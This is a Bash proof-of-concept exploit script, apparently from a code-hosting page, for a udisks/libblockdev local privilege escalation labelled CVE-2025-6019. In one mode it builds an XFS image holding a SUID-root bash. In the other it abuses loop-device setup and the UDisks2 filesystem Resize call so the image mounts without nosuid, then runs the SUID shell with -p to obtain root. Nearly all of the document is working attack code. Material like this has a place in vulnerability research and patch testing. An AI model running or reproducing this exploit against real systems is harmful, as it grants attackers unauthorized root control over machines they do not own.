259 lines
9.7 KiB
Bash
259 lines
9.7 KiB
Bash
#!/bin/bash
|
|
# PoC for CVE-2025-6019: LPE via libblockdev/udisks
|
|
# Author: 0xabdoulaye, Team Guinea Offensive Security
|
|
# Modified to create a 300 MB XFS image and improve resize reliability
|
|
# Usage: Run as root for local mode; run as any user for target mode
|
|
|
|
# Function to check dependencies
|
|
check_dependencies() {
|
|
local deps=("dd" "mkfs.xfs" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp")
|
|
for dep in "${deps[@]}"; do
|
|
if ! command -v "$dep" &>/dev/null; then
|
|
echo "[-] Error: Required tool '$dep' is not installed."
|
|
exit 1
|
|
fi
|
|
done
|
|
echo "[+] All dependencies are installed."
|
|
}
|
|
|
|
# Function to check for vulnerable libblockdev/udisks
|
|
check_vulnerability() {
|
|
echo "[*] Checking for vulnerable libblockdev/udisks versions..."
|
|
if command -v udisksctl &>/dev/null; then
|
|
UDISKS_VERSION=$(udisksctl --version 2>/dev/null || echo "unknown")
|
|
echo "[*] Detected udisks version: $UDISKS_VERSION"
|
|
echo "[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown."
|
|
echo "[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks."
|
|
echo "[!] Continuing with PoC execution..."
|
|
else
|
|
echo "[-] Error: udisksctl not found. Ensure udisks2 is installed."
|
|
exit 1
|
|
fi
|
|
}
|
|
|
|
# Function to create a 300 MB XFS image on local machine
|
|
create_xfs_image() {
|
|
echo "[*] Creating a 300 MB XFS image on local machine..."
|
|
# Check for root privileges
|
|
if [ "$(id -u)" -ne 0 ]; then
|
|
echo "[-] Error: Root privileges required to create XFS image."
|
|
exit 1
|
|
fi
|
|
|
|
# Create 300 MB image
|
|
if ! dd if=/dev/zero of=./xfs.image bs=1M count=300 status=progress; then
|
|
echo "[-] Error: Failed to create xfs.image."
|
|
exit 1
|
|
fi
|
|
|
|
# Format as XFS with default parameters
|
|
if ! mkfs.xfs -f ./xfs.image; then
|
|
echo "[-] Error: Failed to format xfs.image as XFS."
|
|
rm -f ./xfs.image
|
|
exit 1
|
|
fi
|
|
|
|
# Create and mount directory
|
|
mkdir -p ./xfs.mount || { echo "[-] Error: Failed to create xfs.mount directory."; rm -f ./xfs.image; exit 1; }
|
|
if ! mount -t xfs ./xfs.image ./xfs.mount; then
|
|
echo "[-] Error: Failed to mount xfs.image."
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
|
|
# Verify sufficient space for /bin/bash
|
|
BASH_SIZE=$(stat -c %s /bin/bash 2>/dev/null || echo 0)
|
|
if [ "$BASH_SIZE" -eq 0 ]; then
|
|
echo "[-] Error: /bin/bash not found or inaccessible."
|
|
umount ./xfs.mount
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
AVAILABLE_SPACE=$(df --block-size=1 ./xfs.mount | tail -1 | awk '{print $4}')
|
|
if [ "$AVAILABLE_SPACE" -lt "$BASH_SIZE" ]; then
|
|
echo "[-] Error: Insufficient space on XFS image for /bin/bash ($BASH_SIZE bytes needed, $AVAILABLE_SPACE available)."
|
|
umount ./xfs.mount
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
|
|
# Copy bash and set SUID
|
|
if ! cp /bin/bash ./xfs.mount/bash; then
|
|
echo "[-] Error: Failed to copy /bin/bash."
|
|
umount ./xfs.mount
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
if ! chmod 4755 ./xfs.mount/bash; then
|
|
echo "[-] Error: Failed to set SUID on bash."
|
|
umount ./xfs.mount
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
|
|
# Unmount
|
|
if ! umount ./xfs.mount; then
|
|
echo "[-] Error: Failed to unmount xfs.mount."
|
|
rm -rf ./xfs.image ./xfs.mount
|
|
exit 1
|
|
fi
|
|
|
|
rm -rf ./xfs.mount
|
|
echo "[+] 300 MB XFS image created: ./xfs.image"
|
|
echo "[*] Transfer to target with: scp xfs.image <user>@<host>:"
|
|
}
|
|
|
|
# Function to exploit vulnerability on target
|
|
exploit_target() {
|
|
echo "[*] Starting exploitation on target machine..."
|
|
# Check allow_active status
|
|
echo "[*] Checking allow_active status..."
|
|
if ! gdbus call --system --dest org.freedesktop.login1 \
|
|
--object-path /org/freedesktop/login1 \
|
|
--method org.freedesktop.login1.Manager.CanReboot | grep -q "('yes',)"; then
|
|
echo "[-] Error: allow_active status not obtained. Exploitation may fail."
|
|
echo "[-] Try exploiting CVE-2025-6018 first if applicable."
|
|
exit 1
|
|
fi
|
|
echo "[+] allow_active status confirmed."
|
|
|
|
# Check for xfs.image
|
|
if [ ! -f ./xfs.image ]; then
|
|
echo "[-] Error: xfs.image not found. Transfer it to the target first."
|
|
exit 1
|
|
fi
|
|
|
|
# Verify xfs.image integrity
|
|
echo "[*] Verifying xfs.image integrity..."
|
|
if ! file ./xfs.image | grep -q "XFS filesystem"; then
|
|
echo "[-] Error: xfs.image is not a valid XFS filesystem. Recreate it using [L]ocal mode."
|
|
exit 1
|
|
fi
|
|
|
|
# Stop gvfs-udisks2-volume-monitor
|
|
echo "[*] Stopping gvfs-udisks2-volume-monitor..."
|
|
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || echo "[*] Note: gvfs-udisks2-volume-monitor was not running."
|
|
|
|
# Set up loop device
|
|
echo "[*] Setting up loop device..."
|
|
LOOP_DEV=$(udisksctl loop-setup --file ./xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
|
|
if [ -z "$LOOP_DEV" ]; then
|
|
echo "[-] Error: Failed to set up loop device."
|
|
exit 1
|
|
fi
|
|
echo "[+] Loop device configured: $LOOP_DEV"
|
|
|
|
# Keep filesystem busy
|
|
echo "[*] Keeping filesystem busy to prevent unmounting..."
|
|
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
|
|
LOOP_PID=$!
|
|
echo "[+] Background loop started (PID: $LOOP_PID)"
|
|
|
|
# Resize filesystem to trigger mount with retries
|
|
echo "[*] Resizing filesystem to trigger mount..."
|
|
for i in {1..3}; do
|
|
gdbus call --system --dest org.freedesktop.UDisks2 \
|
|
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
|
|
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' > gdbus_output.txt 2>&1
|
|
if grep -q "Error resizing filesystem" gdbus_output.txt; then
|
|
echo "[+] Mount successful (expected error: target is busy)."
|
|
break
|
|
fi
|
|
echo "[*] Attempt $i: Unexpected response during filesystem resize, retrying in 1 second..."
|
|
echo "[*] gdbus output:"
|
|
cat gdbus_output.txt
|
|
echo "[*] Checking udisks2 service status..."
|
|
systemctl status udisks2 --no-pager 2>/dev/null || echo "[*] udisks2 service not running or inaccessible."
|
|
sleep 1
|
|
if [ $i -eq 3 ]; then
|
|
echo "[-] Error: Failed to resize filesystem after 3 attempts."
|
|
echo "[*] Debugging: Check udisks2 logs with 'journalctl -xe -u udisks2'"
|
|
echo "[*] Manual check: Run 'mount | grep /tmp/blockdev' to verify mount."
|
|
echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'"
|
|
kill $LOOP_PID 2>/dev/null
|
|
udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
|
|
rm -f gdbus_output.txt
|
|
exit 1
|
|
fi
|
|
done
|
|
|
|
# Wait for mount to stabilize
|
|
echo "[*] Waiting 2 seconds for mount to stabilize..."
|
|
sleep 2
|
|
|
|
# Check for SUID bash with retries
|
|
echo "[*] Checking for SUID bash in /tmp/blockdev*..."
|
|
SUID_BASH=""
|
|
for i in {1..5}; do
|
|
SUID_BASH=$(find /tmp -maxdepth 2 -path "/tmp/blockdev*/bash" -perm -4000 -type f 2>/dev/null)
|
|
if [ -n "$SUID_BASH" ]; then
|
|
echo "[+] SUID bash found: $SUID_BASH"
|
|
ls -l "$SUID_BASH"
|
|
break
|
|
fi
|
|
echo "[*] Attempt $i: SUID bash not found, retrying in 1 second..."
|
|
ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found."
|
|
sleep 1
|
|
done
|
|
|
|
if [ -z "$SUID_BASH" ]; then
|
|
echo "[-] Error: SUID bash not found in /tmp/blockdev* after 5 attempts."
|
|
echo "[*] Debugging: Final contents of /tmp/blockdev*"
|
|
ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found."
|
|
echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'"
|
|
kill $LOOP_PID 2>/dev/null
|
|
udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
|
|
rm -f gdbus_output.txt
|
|
exit 1
|
|
fi
|
|
|
|
# Execute SUID shell
|
|
echo "[*] Executing root shell..."
|
|
"$SUID_BASH" -p
|
|
if [ $? -eq 0 ]; then
|
|
echo "[+] Exploitation successful! Root shell obtained."
|
|
echo "[*] Background loop (PID: $LOOP_PID) and mount left running to preserve SUID binary."
|
|
echo "[*] SUID bash remains at: $SUID_BASH"
|
|
echo "[*] To clean up manually, run:"
|
|
echo " kill $LOOP_PID 2>/dev/null"
|
|
echo " sudo umount /tmp/blockdev* 2>/dev/null"
|
|
echo " sudo udisksctl loop-delete --block-device $LOOP_DEV 2>/dev/null"
|
|
echo " rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null"
|
|
else
|
|
echo "[-] Error: Failed to execute SUID shell."
|
|
# Perform cleanup on failure
|
|
echo "[*] Performing cleanup..."
|
|
kill $LOOP_PID 2>/dev/null
|
|
umount /tmp/blockdev* 2>/dev/null
|
|
udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
|
|
rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null
|
|
echo "[+] Cleanup completed."
|
|
fi
|
|
}
|
|
|
|
# Main script
|
|
echo "PoC for CVE-2025-6019 (LPE via libblockdev/udisks)"
|
|
echo "WARNING: Only run this on authorized systems. Unauthorized use is illegal."
|
|
read -p "Continue? [y/N]: " confirm
|
|
if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
|
|
echo "[-] Aborted by user."
|
|
exit 1
|
|
fi
|
|
check_dependencies
|
|
check_vulnerability
|
|
echo "Select mode:"
|
|
echo "[L]ocal: Create 300 MB XFS image (requires root)"
|
|
echo "[C]ible: Exploit target system"
|
|
read -p "[L]ocal or [C]ible? (L/C): " choice
|
|
case "${choice,,}" in
|
|
l|local)
|
|
create_xfs_image
|
|
;;
|
|
c|cible)
|
|
exploit_target
|
|
;;
|
|
*)
|
|
echo "[-] Error: Invalid choice. Use 'L' for local or 'C' for cible."
|
|
exit 1
|
|
;;
|
|
esac |